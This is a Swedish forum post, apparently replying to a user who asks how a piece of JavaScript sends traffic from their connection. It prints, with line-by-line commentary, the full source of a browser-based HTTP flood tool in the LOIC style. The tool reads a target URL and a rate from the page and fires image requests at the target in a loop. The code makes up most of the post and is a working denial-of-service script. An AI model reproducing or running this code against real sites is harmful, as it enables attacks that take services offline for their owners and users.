Citat:
Ursprungligen postat av Fashback
Kan du förklara vad det är som händer då? Exakt hur får dom tillgång till att skicka data från min lina till paypal?
Känns jävligt OT men
Javascript = Client Side Code, dvs att koden utförs i din browser och inte på nåns server. Jag tycker koden är rätt "självklar" då variablarna och funktioner har beskrivande namn.
Första biten:
Hämta information från input fields eller Divs på sidan
[php]
<script>
(function () {
var fireInterval;
var isFiring = false;
var requestedCtrNode = document.getElementById("requestedCtr"),
succeededCtrNode = document.getElementById("succeededCtr"),
failedCtrNode = document.getElementById("failedCtr"),
targetURLNode = document.getElementById("targetURL"),
fireButton = document.getElementById("fireButton"),
messageNode = document.getElementById("message"),
rpsNode = document.getElementById("rps"),
timeoutNode = document.getElementById("timeout");
[/php]
Sätt Target Url till This
[php]
var targetURL = targetURLNode.value;
targetURLNode.onchange = function () {
targetURL = this.value;
};
var requestsHT = {}; // requests hash table, may come in handy later
[/php]
Request made = 0
[php]
var requestedCtr = 0,
succeededCtr = 0,
failedCtr = 0;
[/php]
Make Http Request, dvs ta Target Url, loopa den i oändlighet, sätt successCtr till dåvarande nummer, fyll på med ++
Om 1000 failed requestes kill try, då siten antagligen ligger nere.
[php]
var makeHttpRequest = function () {
if (requestedCtr > failedCtr + succeededCtr + 1000) { //Allow no more than 1000 hung requests
return;
};
var rID =Number(new Date());
var img = new Image();
img.onerror = function () { onFail(rID); };
img.onabort = function () { onFail(rID); };
img.onload = function () { onSuccess(rID); }; // TODO: it may never happen if target URL is not an image... // but probably can be fixed with different methods
img.setAttribute("src", targetURL + "?id=" + rID + "&msg=" + messageNode.value);
requestsHT[rID] = img;
onRequest(rID);
};
var onRequest = function (rID) {
requestedCtr++;
requestedCtrNode.innerHTML = requestedCtr;
};
var onComplete = function (rID) {
delete requestsHT[rID];
};
var onFail = function (rID) {
failedCtr++;
failedCtrNode.innerHTML = failedCtr;
delete requestsHT[rID]; // we can't keep it forever or it would blow up the browser
};
var onSuccess = function (rID) {
succeededCtr++;
succeededCtrNode.innerHTML = succeededCtr;
delete requestsHT[rID];
};
fireButton.onclick = function () {
if (isFiring) {
clearInterval(fireInterval);
isFiring = false;
this.innerHTML = "IMMA CHARGING MAH LAZER";
} else {
isFiring = true;
this.innerHTML = "Stop flooding";
[/php]
Hur många Requests per second? Kolla i rpsNode dvs reqSec input i html
[php]
fireInterval = setInterval(makeHttpRequest, (1000 / parseInt(rpsNode.value) | 0));
}
};
})();
</script>
[/php]
Capish!